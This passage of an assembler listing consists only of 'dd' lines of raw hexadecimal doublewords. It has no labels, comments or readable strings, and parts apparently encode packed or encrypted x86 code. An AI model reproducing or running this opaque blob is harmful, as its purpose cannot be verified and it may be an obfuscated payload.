		dd 53F9C5DBh, 0B95F2886h, 7BE9D5ECh, 0AD16BC88h, 5A85BFA5h
		dd 0B01642C8h, 1EFh, 0AA752D00h, 0ED93704h, 703D9B68h
		dd 1987FDCAh, 47EDB82Bh, 0ED935B3Bh, 0AC7597E1h, 10DB3906h
		dd 763F9D6Ah, 0DAA503D0h, 0EB1A6734h, 0DB4F2095h, 0ED53339Ch
		dd 33998177h, 8305CE31h, 4F212C54h, 91C005DBh, 0DB4F20EFh
		dd 770D942h, 0AD531BFBh, 12B882E0h, 1A76FCDh, 0B77FDDB2h
		dd 1CE64411h, 0A692A976h, 7DCC38BEh, 0A7D6581Fh, 0DB4F20D9h
		dd 0B986EF58h, 0D78DF948h, 16400A2Ch, 9EB1B0h, 75EF0000h
		dd 0EC3906ACh, 0DB20C68Eh, 4F20D4ACh, 0A5F45DDBh, 92D77D47h
		dd 0F9C66C34h, 2FC05488h, 0E34427C3h, 9461BF94h, 0FBC321EEh
		dd 0C3B8855h, 0DB4EBC74h, 78E654BDh, 0A74D19CCh, 0E262D03Eh
		dd 4B9036FFh, 0AF7C22EDh, 0FBDBEF3Eh, 61BF8C32h, 0C321EE94h
		dd 298754FAh, 90EEBB61h, 47B523C9h, 0FD6BD71Dh,	3579B547h
		dd 93F10A3Ah, 0EE88EE3Dh, 0DB016B2h, 47h, 6AC754Bh, 690FDB39h
		dd 0A028E824h, 0C8C735Bh, 0BD6F2DF4h, 99E851DCh, 82E0ADC4h
		dd 0D64714BAh, 0B6291B87h, 0F13B47EDh, 4E17AA75h, 43723FA8h
		dd 0DB4F2030h, 8496CEB4h, 68B75D26h, 16426002h,	197B0h
		dd 75D50000h, 73C005ABh, 4F203C44h, 3D8CF5DBh, 9C420A68h
		dd 9ACAAECFh, 0EBF79D67h, 0E025478Eh, 3844C6B1h, 25F25BD1h
		dd 4E7DFFC7h, 0D501FC32h, 212D96FFh, 6D37941h, 1FCABD7h
		dd 0EE5642D5h, 818D33FBh, 6633D9A1h, 0CD9A4008h, 2BCD77DDh
		dd 4019FFEFh, 0A2F17A39h, 0CAD67C44h, 5B5440E2h, 11277B6h
		dd 0F8B50000h, 1B4A8FDDh, 0D1384170h, 4DAB78E1h, 0F3D3DF85h
		dd 5AB8852Bh, 2F1FEC92h, 1B799BC9h, 6FE0AD53h, 54FAC220h
		dd 4F1B7948h, 1C6BDCA9h, 5B63ACB6h, 3F4BB6h, 0C8040000h
		dd 7C9FF6A4h, 531C7265h, 0F8965EADh, 16458AE2h,	0DB4F223Ah
		dd 0D0763F9Dh, 7845AE81h, 4F1F3749h, 0C57FE5DBh, 0FC4135A5h
		dd 4F2183CDh, 5965CEDBh, 0A3B9h, 0C08CEA00h, 8DDC4D1Ah
		dd 8FDDF8C5h, 4FEC1B4Ah, 0EC55D138h, 53F9C11Fh,	0EE92C10Eh
		dd 43D501F1h, 0A8778BDAh, 0F1542C5Bh, 74DDD501h, 59FFC725h
		dd 0A0033F8Ch, 0D6E68361h, 5C02CE24h, 0A0CF1E8Fh, 0D50148D5h
		dd 0B5281C08h, 0B50247EDh, 146FA86h, 7FCE37D5h,	0A5C70E6Bh
		dd 0EEB51360h, 1DEA905Bh, 0C5F443ACh, 0CAD57A89h, 34925FC8h
		dd 680ED96Ch, 925CBAFFh, 0FAC11FECh, 0AD168754h, 8468895Eh
		dd 3735A0C0h, 22C894F2h, 709FE455h, 0CEAD1510h,	1C69B821h
		dd 814861EDh, 0CEBCF0C4h, 0FD5DB107h, 2E7884EDh, 4A8FDDF8h
		dd 2354331Bh, 0E8B51ED1h, 0D71CC28Ah, 0B908AE79h, 57FDC5A5h
		dd 15E5D612h, 0B5E98F5Ch, 165B6FB3h, 0FB0A99E7h, 0E02F98D4h
		dd 0D094DC0Bh, 6CDA1B22h, 973D05F8h, 50E3AB8Bh,	0A415E288h
		dd 43106E3Bh, 0CBAFD09Dh, 0F89E6699h, 0B1440CECh, 3E4575E6h
		dd 0FD44111Ah, 115E2B94h, 0A58A9ED5h, 0FA494AC1h, 3DCh
		dd 8C549200h, 3C09AF75h, 0A37016DEh, 6D37945h, 6E3BE1A8h
		dd 0D4A14710h, 3A07AD76h, 9C690FDCh, 1CE743Eh, 6532D8A3h
		dd 0E68956E8h, 4C681h, 0EE830000h, 24348704h, 243C895Ch
		dd 367B68h, 242C8900h, 81E38953h, 4C3h,	4EB8300h, 5C241C87h
		dd 0BD241C89h, 3A5205C1h, 4504E5C1h, 0BF57D5F7h, 52FE453Bh
		dd 815FFD01h, 89DB76F5h, 4EC81ABh, 89000000h, 4832424h
		dd 525B0424h, 24048155h, 689809E0h, 0E0EA815Ah,	89689809h
		dd 0FF5A0853h, 815B2434h, 4C4h,	2434FF00h, 4C4835Dh, 0F94878E9h
		dd 681EDBFFh, 8BDB6B28h, 36CBB8B8h, 0C5030654h,	0D3BFE0FFh
		dd 45535CE2h, 491B4CF6h, 0AF057D8Eh, 654D4E2Eh,	0D3D3183Fh
		dd 4EB17EFh, 3A2F59C4h,	5CEE9h,	882EF400h, 2BD19C7Ch, 0CF753F1Fh
		dd 7016E3C3h, 15BB8464h, 0B0E10709h, 553541E7h,	0FCDCE88Eh
		dd 9E7E8A30h, 8D2430D6h, 0E9EF91C0h, 3742D4FAh,	0E84A86F7h
		dd 37AE573Ah, 27EF4D9Ch, 8D56B481h, 0B5BA8A1Ch,	0EDB82685h
		dd 6975DE47h, 4E1BC189h, 0B58228F0h, 19E68C57h,	7D4AF0BBh
		dd 0E3B0561Fh, 29AF95FBh, 0F4174DBBh, 0E341862Ch, 34A57218h
		dd 25F1D1E5h, 0A0ED3A7Fh, 4EA10F71h, 92B922DBh,	0DB4EA0EEh
		dd 7A45EBB8h, 0CEAEC211h, 428F5C02h, 25CB97F5h,	0C0C0E758h
		dd 8DB4EA0h, 0A51C9227h, 51BA858Dh, 37DDA402h, 993F0C6Ah
		dd 34A56ECCh
		dd 868120BEh, 925FC8B5h, 40B6AE1Ch, 0DE014327h,	80606C12h
		dd 164512B8h, 0DB4E2F5Dh, 0FCC96F39h, 6330D69Eh, 0A1570D73h
		dd 46B1B399h, 0B016B33Ch, 7544BAF6h, 0EFA5DB0Ah, 238CDB4Eh
		dd 0F2CB5CEFh, 713BA3h,	75790000h, 0B3A07ADh, 0DB4F2077h
		dd 0F3C0662Fh, 7138CB95h, 749562CBh, 161ED490h,	0B9C93430h
		dd 79B01642h, 59A84E1Bh, 1F1h, 0AA752F00h, 2087F928h, 41AADB4Fh
		dd 147D23EBh, 0D49CFA47h, 69D27841h, 7EDC2B9Ch,	0F3400DB3h
		dd 0A80A6AA6h, 0D7573739h, 4EC9D0B0h, 0A9F861DBh, 0BD87E4Bh
		dd 0CA3D2795h, 6D4D59FFh, 5CBAFFA5h, 0AB1CE98Fh, 75FE485Ch
		dd 0DB3906ACh, 0AD9D6A10h, 21EA1D47h, 53A06F7Bh, 4F205C24h
		dd 1D6CD5DBh, 0C51F7BFh, 0F241E7AEh, 4FF5BF1Dh,	0A4A00E82h
		dd 0AAD60552h, 87DB4F20h, 0C969CF1Eh, 0EEB01640h, 0A6h
		dd 552B5AA7h, 0DCDB4F2Ah, 81FF2E73h, 0B0DB4F2Ah, 7530F847h
		dd 0DB3906ACh, 289E6B11h, 0AB07BD9h, 3154FBBh, 55C2DC7h
		dd 4ECEAAD6h, 0EA1E87DBh, 7CCB0F3Fh, 6AAF551Eh,	4B9A400Ch
		dd 0EC1B6837h, 0DB4EA794h, 87E5349Dh, 0ED4B18BEh, 39AD7A20h
		dd 197799CBh, 4BF1BC4Fh, 0F0B715E2h, 2C92E14Ah,	0B016390Ah
		dd 6EB1h, 0AC75EF00h, 4574C106h, 0DB4F203Bh, 693E8DF6h
		dd 4FF5BE1Ch, 0B55B2482h, 0BF0E77E8h, 22EF9561h, 0C2251F0Bh
		dd 9EF188F9h, 0B52A996Eh, 22EF955Fh, 0A50348B1h, 17DF35DBh
		dd 0E433A471h, 0AA7586D0h, 0AEEA3704h, 0FF3583EEh, 91C00F61h
		dd 0DB4EF4E2h, 8B56E9B4h, 3EA718E5h, 0A2481371h, 92D2BED5h
		dd 0F66E545Ch, 166E7B0Bh, 1A0B0h, 86DE0000h, 0AAD95B28h
		dd 0DB4F20D6h, 3A89F25Bh, 9F6C12DCh, 8ED37941h,	0F0BD6330h
		dd 3A5B307Fh, 87F92875h, 0AADB4F20h, 56DC0D41h,	0D66D5863h
		dd 0C7291B87h, 0FF354B7Ah, 0A671DB4Eh, 98CC3500h, 4261B8BEh
		dd 0FF5DAC97h, 26838F35h, 4978BDAFh, 0D1374D2Eh, 5FBD8AF3h
		dd 4EACF197h, 9D0EDB81h, 925A3A4Eh, 43E9B210h, 105641Ch
		dd 0FB64CDD5h, 583FF2Eh, 9D6AD501h, 83D2783Fh, 0F2BA2D17h
		dd 9860404Ch, 824FADF2h, 4F9E0FDCh, 4CF2D7Ah, 3704AA71h
		dd 0B00E5DC6h, 493766E8h, 0E8D50105h, 5949167Fh, 44EAB412h
		dd 28DB89F5h, 0C6AEBA60h, 0B65859BCh, 1495Bh, 0DDF89900h
		dd 4444DFC4h, 0FC651BA5h, 0CD0388B7h, 0E54ED137h, 4CF2BA18h
		dd 0F2986040h, 0E2884FADh, 8055A415h, 0E7B45A22h, 30D391F7h
		dd 417DC268h, 9BFD460h,	260C7ABCh, 6A150A3Eh, 14BA83D9h
		dd 0B9C9B1C5h, 5EB65B5Eh, 3Dh, 48EEB917h, 0E2F831F9h, 3A16458Ah
		dd 17DB4F22h, 0CEB2E1AEh, 0D8DB4F1Fh, 3C9A670Dh, 0EA01CE74h
		dd 0B09046FEh, 706A1A4Ah, 0C888B7FCh, 89DB4F21h, 0E7451420h
		dd 0A28771Dh, 0C2h, 8FDDF8C0h, 4FEC1B4Ah, 1055D138h, 1F19FE1h
		dd 0C02992D5h, 5ED3F7Bh, 19683556h, 0CF97F5CAh,	0F04E1D29h
		dd 42B38026h, 5CCD95F3h, 94F36A50h, 8451BA23h, 6C12D937h
		dd 0BE87EE1Dh, 8956D501h, 0EFBC622Bh, 81C32F7Eh, 97E6226Fh
		dd 0FDC2C8BEh, 981F6188h, 0A912D501h, 0A134FC5Ah, 592756D8h
		dd 0D8D50197h, 919D066Fh, 86CBA134h, 0D5D09757h, 44117ACAh
		dd 33781EE6h, 60C9B7E6h, 0FF68CEADh, 0B17DDBB0h, 48B1571Eh
		dd 0AC521D7Bh, 0D391F7DFh, 0F23F041Dh, 0FA21C794h, 0CEAD6086h
		dd 9466AB42h, 8C573FF7h, 0FC68D423h, 0DE23498Ch, 82113FAFh
		dd 0B27CD2C4h, 0C897A30Ch, 0A1344C7Bh, 94FDC859h, 28867D45h
		dd 78E9B65Ch, 0E5874E29h, 597D71A0h, 2B94D123h,	0E8B3115Eh
		dd 0B5047542h, 0DDE98F57h, 3FE5B00Eh, 37CA92F0h, 925FC86Eh
		dd 774F4B63h, 8FB52319h, 8FF1206Dh, 0A2987F85h,	0EDB814Ch
		dd 87E5349Dh, 2D0D19BFh, 6006D265h, 0A1DD2AF7h,	6AE55A3Eh
		dd 0A7D90844h, 8A987FBEh, 0B69B821h, 5EE0AB3Eh,	7FBE512Fh
		dd 0E77E098h, 0D3B7D8A5h, 0A66E91h, 0FFC725F4h,	0E4AC0A59h
		dd 0F53713Eh, 9000000h,	0DDA90754h, 0EE520337h,	4F0AFFCDh
		dd 0AF753800h, 16DE3C09h, 7945A370h, 0E1A806D3h, 47106E3Bh
		dd 0AD76D4A1h, 0FDC3A07h, 743E9C69h, 0D8A301CEh, 68E86532h
		dd 2244h, 51243489h, 0C181E189h, 4, 8704E983h, 895C240Ch
		dd 668242Ch, 8900002Eh,	0BA522404h, 5795AFFh, 40EDB951h
		dd 0CA291A91h, 47E28159h, 8132DD5Ch, 7223FC2h, 3EF28150h
		dd 89749B0Dh, 0EC815AD5h, 4, 81242489h,	42404h,	68580000h
		dd 6672h, 8F242C89h, 48B0840h, 0E2895224h, 4C281h, 0C2830000h
		dd 24148704h, 242C8B5Ch, 81E38953h, 4C3h, 4C38100h, 87000000h
		dd 0E95C241Ch, 0FFF94285h, 0A3D09778h, 0A17E19B5h, 0BFBC0B4Eh
		dd 0B8BF8E74h, 6543CADh, 0E0FFC503h, 64582798h,	61B7D0D1h
		dd 5E5B9F93h, 26BFB0A2h, 233EDA05h, 2C9A062Eh, 2306989Bh
		dd 0EDE9h, 8C666000h, 0F04A8D8h, 0DF84h, 0D5B58B00h, 83064D0Bh
		dd 850F00FEh, 22h, 26E585C6h, 6845064Dh, 8E726969h, 1431B5FFh
		dd 858D064Dh, 65075D7h,	8589D0FFh, 64D231Dh, 3E80F08Bh
		dd 31850FE9h, 8D000000h, 526EC685h, 8BD0FF06h, 4D0B1DBDh
		dd 84C78106h, 8B000011h, 4D0BD5B5h, 0B9F78706h,	8, 0B58BA4F3h
		dd 64D0BD5h, 0A852858Dh, 0D0FF0650h, 2FDB58Bh, 0FE83064Dh
		dd 22850F00h, 0C6000000h, 4D26E585h, 0F4685406h, 0FFFF4EBEh
		dd 4D1431B5h, 0D7858D06h, 0FF065075h, 0FD8589D0h, 8B064D02h
		dd 0E93E80F0h, 3A850Fh,	0B58B0000h, 64D02FDh, 6EC6858Dh
		dd 0D0FF0652h, 0B1DBD8Bh, 0C781064Dh, 1184h, 8B08C783h
		dd 4D02FDB5h, 0B9F78706h, 8, 0B58BA4F3h, 64D02FDh, 0A852858Dh
		dd 0D0FF0650h, 858DC361h, 6543D77h, 0DBD8589h, 8D8D064Dh
		dd 6543F72h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0BC35545h, 21958589h, 8D89064Dh, 64D0599h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 98C35141h, 0E40B160Bh
		dd 0C35D777Fh, 0A881BE66h, 51D85C7h, 713C064Dh,	6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 66E0DEC3h, 0AE388E3h, 0C7F8AE4Fh, 4D02E985h,	6, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 8F3DE6F4h, 0F688D30h, 28Dh, 89D18B00h, 4D123DB5h, 71B5FF06h
		dd 60064D31h, 7298D89h,	0DF8B064Dh, 5595FF61h, 6A064D2Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 6488C351h, 3580728h, 4D0029BDh, 0FF006A06h
		dd 4D051195h, 0EBC08B06h, 0EA2E521Dh, 5B9946h, 0F0C91B17h
		dd 0B6F82430h, 7AD692D4h, 0EE65CF09h, 5F469801h, 4EB39F4h
		dd 62756510h, 0D7CE9h, 41C26800h, 1AE90654h, 68FFF940h
		dd 65442E5h, 0F94010E9h, 450168FFh, 6E90654h, 68FFF940h
		dd 654460Bh, 0F93FFCE9h, 490F68FFh, 0F2E90654h,	68FFF93Fh
		dd 6544A4Bh, 0F93FE8E9h, 4B6C68FFh, 0DEE90654h,	5AFFF93Fh
		dd 2E2EE94h, 0A5859137h, 492935DBh, 0EACAD67Ch,	6D6F7B21h
		dd 0A74D167Bh, 4EF4BB9Bh, 0F0966242h, 963C04E4h, 0F726F38Ah
		dd 0D4FAE189h, 7AD89DA8h, 0F5BD0CB2h, 3A07AD75h, 0B98114DCh
		dd 765AA13h, 8BC7943Ah,	5D7445EBh
		dd 3584ED67h, 0B4360260h, 4EF7FB85h, 13E036DBh,	0C62FA06Dh
		dd 6832905Dh, 8F03B4F7h, 52BBB96Fh, 0B55B2785h,	0AA9A00E8h
		dd 3D270B24h, 59102CAh,	8B31F8AFh, 0F4194DBEh, 0E1ED56F0h
		dd 58B63801h, 0BDC3EA90h, 0E9DB4E6Bh, 7CB07B21h, 8155FCEAh
		dd 97006994h, 61E3AB8Bh, 49BE514h, 2D96DB4Fh, 4F047A06h
		dd 0E54EB7DBh, 4F7ECB18h, 0DB4F0431h, 3DE3AA00h, 4096FF70h
		dd 9203D076h, 771DE543h, 0A5C70E6Bh, 9CE41360h,	95DB4F03h
		dd 0CD733Fh, 8AD7268Fh,	3820705Bh, 312B67D1h, 2563F27Fh
		dd 5D2AD09Ah, 613483ECh, 78FC2BF8h, 8D501B5h, 172FAA9Ah
		dd 0C4B65B55h, 53h, 8FDDF802h, 20681B4Ah, 70D9D138h, 0D1AFDE2Bh
		dd 60D50220h, 86D3A8F7h, 20760A39h, 52BBD502h, 20A0D403h
		dd 91E0D502h, 206B1544h, 723BD502h, 0DFAB01CCh,	92FB6C39h
		dd 20621E4Dh, 66CFD502h, 3EB9AB17h, 0B65B4224h,	0CED3h
		dd 642E8C00h, 75A76FBEh, 0DC3A07ADh, 53A06D13h,	0B8EDA717h
		dd 0C6152DF5h, 0B5FAA068h, 0B4E88E57h, 5B31C7EEh, 0CFA4F317h
		dd 4A16A971h, 0FD66D7A4h, 8E1540F1h, 7941DB4Eh,	0ABF8C7D3h
		dd 4E85047Ch, 75C42DDBh, 0DCA94F17h, 0C066318Fh, 2D3F9671h
		dd 0AB36B9E8h, 72DBD137h, 0B3CC0966h, 95DA43E9h, 0F2172966h
		dd 8650AECAh, 55BE91E0h, 56E9B210h, 3B80E98Fh, 0CB9458FFh
		dd 5EAD0561h, 0FBA16A4Ah, 782361E3h, 58764B98h,	0A9Ah
		dd 0BFCB7137h, 626E14DFh, 612B882h, 0A7B35926h,	4C58FEC7h
		dd 28F1A64Ah, 0CF967682h, 713D1D29h, 17DFBFCBh,	1CE6571h
		dd 0FADFAED2h, 387883D4h, 0B55B2886h, 993F0866h, 3FE5AD8Dh
		dd 2FD59CFAh, 0F882CCE0h, 0FD4A8FDDh, 6330D69Fh, 0C5923805h
		dd 6D9CEB54h, 0D1382116h, 1F7DC22Bh, 8D62B157h,	58450440h
		dd 24580A3Ah, 0EAD0B0DFh, 0F861D501h, 0EAFA7AA9h, 1886D501h
		dd 7491B12Ch, 0E946B65Bh, 84000000h, 0C207AD75h, 0BDF19764h
		dd 9A84D39Fh, 2C0150F2h, 1A5F05CEh, 824FF5BCh, 0BEEDC211h
		dd 0DB4E8A97h, 2C5483D0h, 5DB4E81h, 0D379469Ch,	0B85E2684h
		dd 0B47FDDACh, 4E05410Eh, 0C9573556h, 0E13F8EF7h, 59A67319h
		dd 16B00B1Dh, 65D6A349h, 80BF6E31h, 59740C3Bh, 54BDDB4Eh
		dd 0C1AB2A05h, 7FA24D7Ch, 66FD137h, 0F59B63C1h,	87C392A6h
		dd 0D587759Ch, 0EFCA1988h, 2AD099E6h, 334D7CC1h, 0FECAF2B5h
		dd 29F25095h, 0C2F13E83h, 0CEB24DBEh, 0A7BB0A73h, 4058FEC7h
		dd 987972F2h, 77ABC99Eh, 5A000009h, 2E2EE94h, 0A5859137h
		dd 492935DBh, 0EACAD67Ch, 6D6F7B21h, 0A74D167Bh, 4EF4BB9Bh
		dd 0F0966242h, 963C04E4h, 0F726F38Ah, 0D4FADE89h, 755D9DA8h
		dd 85C106ACh, 614CBBD7h, 465AA902h, 162D9E66h, 0A3444D28h
		dd 47919D06h, 13DB3986h, 203A466Dh, 8EF7DB4Fh, 7319E13Fh
		dd 5E04D02Eh, 0FCD12091h, 0EB30D69Eh, 21116F9Eh, 0B720DB4Fh
		dd 0D1A35468h, 0C5DB4F20h, 6B4B57FDh, 5AB8FDA3h, 0C99EED93h
		dd 80002F7Ch, 0B1DB4F20h, 6CF31448h, 3FA5EF90h,	24CA92F0h
		dd 10B681DFh, 0AE83D243h, 0F9EC58BEh, 0B07F8B31h, 17E48A52h
		dd 51F157A6h, 86B016A0h, 0EAh, 602886C4h, 20D1AFDEh, 0F760DB4Fh
		dd 71643F8Eh, 0B69B6FBh, 95D19E44h, 0E2D3984Ch,	90DF48D0h
		dd 3764FA61h, 0C18EF7D1h, 11FE292h, 34309ED5h, 16BC84E2h
		dd 2389D849h, 0B6583F03h, 0A9B8h, 4C137100h, 1968D9A6h
		dd 20CFA451h, 8B4ADB4Fh, 0E95F5A16h, 127B6A73h,	2A19ECDh
		dd 0DA16D138h, 7F361D0Dh, 53B9E067h, 0DAEFFD31h, 4B6C1443h
		dd 5CC5D501h, 9DD1A4F3h, 39A2767Dh, 58FEC8F1h, 48B11A8Bh
		dd 22935C3Ch, 0A84AD719h, 400C6274h, 0F35CCD9Ah, 0A19DD926h
		dd 5626BE39h, 6BC0C3FDh, 610ACD37h, 0CE9E3712h,	0A6B15A89h
		dd 0EA26CAEAh, 33004061h, 0E74B598Dh, 3C8154A3h, 0B457730Dh
		dd 0EC55BECEh, 0D77D49A7h, 364A990Ah, 2CF78A56h, 5926CC99h
		dd 49167FE8h, 0C005676Eh, 9D894E91h, 2E3AA3C4h,	4BC8Eh
		dd 0DDF84400h, 0D01B4A8Fh, 41D13842h, 98DC0BD8h, 0E8D501FEh
		dd 770FCA7Ah, 0A4B65B1Ch, 49Dh,	0C9A6F2E2h, 3A9730Ch, 30F7559Ah
		dd 0BFEE3B8Ah, 0D13847A0h, 45A3E851h, 9A0BD87Eh, 83D2FB4Bh
		dd 56AC632Ah, 79A8ED7Fh, 2125D5A2h, 0CC19E64Fh,	3300A66Eh
		dd 3D9873C2h, 3F9DEA2Fh, 0A604D177h, 7BCA33D9h,	0DD33814Ch
		dd 2267D01Ah, 4A56FCC4h, 0E4FCA26Ah, 284A789Ch,	5B456338h
		dd 76000007h, 1EFE0AB0h, 0C1A1AD53h, 654551F7h,	6E6F298h
		dd 898B973Dh, 0C3693267h, 6A10D7B7h, 0CB27E5Eh,	0B2582000h
		dd 13420FA6h, 0D4FADB6Dh, 7579B9C4h, 75C207ADh,	4F203A46h
		dd 3F8EF7DBh, 26468F6Ah, 4D41B2E1h, 2A66D138h, 0C38D6E70h
		dd 0AE50E91Dh, 4FB88BDAh, 3AE0AC0Ah, 25CB97F5h,	8498E758h
		dd 0E58B57B5h, 410F71A0h, 0B922D501h, 9A400C6Ah, 40E29ECDh
		dd 81F3D501h, 98D50150h, 0BBEA2F3Dh, 0CAEA52E4h, 1FE84693h
		dd 0E2E5279h, 0AD78CEB4h, 0FEC93A07h, 0A734695h, 0D660E3Dh
		dd 0AC1ACEB4h, 51253DB8h, 8FEDBC8Dh, 0C56B33C6h, 0CF1E8F5Ch
		dd 3167h, 0DDF8A500h, 24EC4A8Fh, 0F140B17Eh, 515A75A4h
		dd 8EF7D138h, 8E21EB49h, 0E7B41DC3h, 34522776h,	1Bh, 0AB3E0765h
		dd 0FA6B38DEh, 0CE743B91h, 0DDF8B77Fh, 681B4A8Fh, 0D9D1384Ah
		dd 86DBA370h, 0E8B55B28h, 2CA2877h, 0A1E2445Ch,	0B98E94E5h
		dd 6519Bh, 14BA8000h, 0B75D2808h, 5B01CBABh, 0FCA26F4Fh
		dd 0A14710F0h, 3C1D9395h, 0E1C1CD73h, 8868741Ah, 2A0A16BCh
		dd 19B0BC62h, 0DA631D4Ch, 0C3CED4FAh, 8FDDF883h, 0D89FFD4Ah
		dd 7B4E332h, 0B0D13851h, 15E28852h, 136970A4h, 0C0082EB6h
		dd 81489E71h, 0E3B00EDBh, 9E6BD43Dh, 0C6D27840h, 28CE99F7h
		dd 0B449AAD9h, 0AD029ECh, 0DCF95662h, 671C4B90h, 0DAA39F68h
		dd 7B46A471h, 696CC9D5h, 1488F827h, 40A9A769h, 693492D7h
		dd 3685F6C3h, 36E5BAE9h, 0A30C9D52h, 0F2CDA7D6h, 45B3A11Bh
		dd 1042E41Fh, 0E798A25h, 0B7000001h, 0D8A2DDF8h, 20592756h
		dd 6FD8DB4Fh, 83C83906h, 4F212C54h, 339C05DBh, 50FCBFEEh
		dd 0F035D138h, 1F0BFC1h, 791FE7D5h, 7703BACh, 0AB73D19Eh
		dd 5119F905h, 44AFDEABh, 3A29ED2Ch, 9D6598CCh, 430BEBF7h
		dd 52A1D09Dh, 4402A1F2h, 0AB09D67Ch, 0F96F3CE2h, 0FA13D98Bh
		dd 6ECC2E16h, 51AFFEA4h, 74B31889h, 5C1D8ED0h, 3F07E7F3h
		dd 0E6F1CC99h, 0E124186h, 0E3866B9Ah, 0C4116E7Ah, 0DF48EEBBh
		dd 0D1004D9Ah, 866B98AFh, 0BE642C82h, 0C81780F1h, 54B59A99h
		dd 0E3AF0D7Ch, 0B0FF703Dh, 49A774DDh, 0EFCFDB81h, 85B48127h
		dd 801E7F93h, 0B5281C00h, 8A3B47EDh, 0EBF2B714h, 0E1B02763h
		dd 2DEFF473h, 756BF65h,	0BAC6AE2Ch, 9F6C12DAh, 0B30A4070h
		dd 0D97F4681h, 3BE1AE0Ch, 2420866Eh, 92D240AEh,	0AF552280h
		dd 943A0260h, 4DE0A888h, 9C0DDA80h, 4A8B6633h, 5490DD22h
		dd 82D004B3h, 4A79C851h, 7B6BEB99h, 53F3FF68h, 5Ch, 0A398609h
		dd 0DB4F2076h, 280352BBh, 4B7ABFADh, 0D1385084h, 399764CDh
		dd 0EDBCC86Eh, 0F10F71A0h, 0B922D501h, 83AF2E6Ah, 216606D1h
		dd 0F6DBA5D4h, 0ED56D501h, 0B704519Eh, 1F6F888h, 9CD039D5h
		dd 87AACA95h, 53483F3h,	0D5016383h, 751BE644h, 573EE841h
		dd 0A2F1F61Dh, 0E5A566CFh, 0C207AD75h, 1C372386h, 79C8EC62h
		dd 9FCD0865h, 0AD342B5Ah
		dd 0E543D137h, 35A67319h, 65AA13E6h, 89953B07h,	6A37DDA9h
		dd 71F3BF1Dh, 14F3E42h,	218AF3D5h, 0B994E354h, 0F197631Ch
		dd 5C0FE824h, 0A54A4554h, 308ED33Ch, 0C8B8E769h, 69D501BAh
		dd 59CA9700h, 658EBD0Ah, 42CAEAE7h, 0A7741AE4h,	0AB14E736h
		dd 9FC5AFDEh, 8154CEB4h, 2877A6EBh, 4FC49DA2h, 0B68329F1h
		dd 0DE23F645h, 0E70EB480h, 0C8675E99h, 0F9C62F98h, 0E1874EACh
		dd 5F116392h, 16FC867h,	808E9843h, 2B2DA2F1h, 6B000000h
		dd 4A8FDDF8h, 64A0FD0Eh, 76C2F69Ch, 1C69B82Fh, 37D1E2EDh
		dd 39066FD1h, 2FC28EECh, 7EEFBC62h, 88D74815h, 1D6Ah, 39862000h
		dd 4F20760Ah, 0C36930DBh, 51BA85F6h, 0BEAE2702h, 4A394A79h
		dd 9F08D138h, 0AD750AD2h, 0A1BDEF07h, 5A2F94E5h, 34D3Ch
		dd 18BE8400h, 0BB612C0Ch, 5F05CFAFh, 0A67353h, 0A54B14F4h
		dd 40119799h, 0E5C5D177h, 8C6C781Eh, 2E0E1AC0h,	1DB4C066h
		dd 0D75F2150h, 0C7D2D4FAh, 7AD7587h, 0ABB1ED3Ah, 12AB78E3h
		dd 0CE96F443h, 0B985E328h, 86D54613h, 0BFC01572h, 3F4170F2h
		dd 0F2DB4E85h, 0E2532089h, 0C6053479h, 8BD137A1h, 4E265522h
		dd 32D50169h, 106E80C4h, 62D3A046h, 8995AD13h, 2542B65Bh
		dd 80000000h, 4A8FDDF8h, 2DD39FFDh, 20D4AFDEh, 46DD138h
		dd 206C0837h, 0A614D502h, 422343BEh, 0D7D8B65Bh, 16000000h
		dd 0FC2BAD75h, 0DB4F2084h, 0E98F57ADh, 96D21780h, 31EA6959h
		dd 996EBD8Bh, 0FFCC723Bh, 0EE33D9A1h, 260E72A1h, 0BA23DB4Eh
		dd 253A4675h, 8EF7DB4Eh, 440C6A3Fh, 0DB44EAB1h,	0C56B3896h
		dd 0A4B16276h, 0C3DB4E2Ah, 0ADF29865h, 4E21027Eh, 77C62FDBh
		dd 9FAB5119h, 8451F7BFh, 670DD937h, 0D4983D18h,	533F608Fh
		dd 5CB2D137h, 7884ED93h, 77E7BA1Bh, 1868979Ch, 19D5002Fh
		dd 0D2B07CB0h, 81B0F55Eh, 0CAF11E77h, 9EFC41AAh, 43232FD5h
		dd 761CE77Ah, 0D381F50Dh, 562B987Bh, 21138h, 54FAC000h
		dd 0F79D6848h, 9B410BEBh, 3CE2AF8Fh, 0E1875030h, 7CDDD3D5h
		dd 21010DB3h, 0C8A8B45Ah, 6A4A56FCh, 59F0FCA2h,	0D7235D8Ch
		dd 30ED4FAh, 6AC75C3h, 0AC521AFAh, 0DDF856A0h, 0FE32D8A2h
		dd 0AEB3194h, 72B7208Dh, 57FDC725h, 9BCA198Ah, 0D13727E8h
		dd 14BA81DFh, 0B487D647h, 8AB9064Bh, 0D50127F6h, 751BE53Bh
		dd 0B9E8BD0Ch, 0D50127BBh, 0BED57C5h, 27F18FBEh, 0D740D501h
		dd 0BB002288h, 74D2B65Bh, 8AF625A7h, 0A7D50133h, 0BB08D53Eh
		dd 133F48Ch, 6BD43DD5h,	0E1B41Ch, 75F20000h, 0CB4D1AADh
		dd 4F20E49Ch, 7BE44DDBh, 0DF8550AEh, 0CF38A112h, 35DBA402h
		dd 251C3968h, 723ADB4Fh, 21894201h, 4F511F32h, 0E04D408h
		dd 0C1881EAh, 0F1BE642Ch, 68ADBF16h, 37D26639h,	95C411D1h
		dd 0D5016EEBh, 0BD87DD46h, 8CF5C817h, 0BAB22380h, 23D14675h
		dd 3896CAF2h, 0A679C86Eh, 89FEBA72h, 3D28FF3Bh,	0F99CD19h
		dd 0DDA9FF07h, 2B89CE37h, 0D0B0BC62h, 0CF496107h, 75987806h
		dd 0F082A0h, 1BE10000h,	0BE896975h, 622C0C18h, 3D0B0BCh
		dd 0A871515Dh, 0FCF4F602h, 202CD29Bh, 0C7D37940h, 69751BE7h
		dd 0F1BC189h, 47CAB78h,	2DD4FAD6h, 0AC75E222h, 0DE2BFA06h
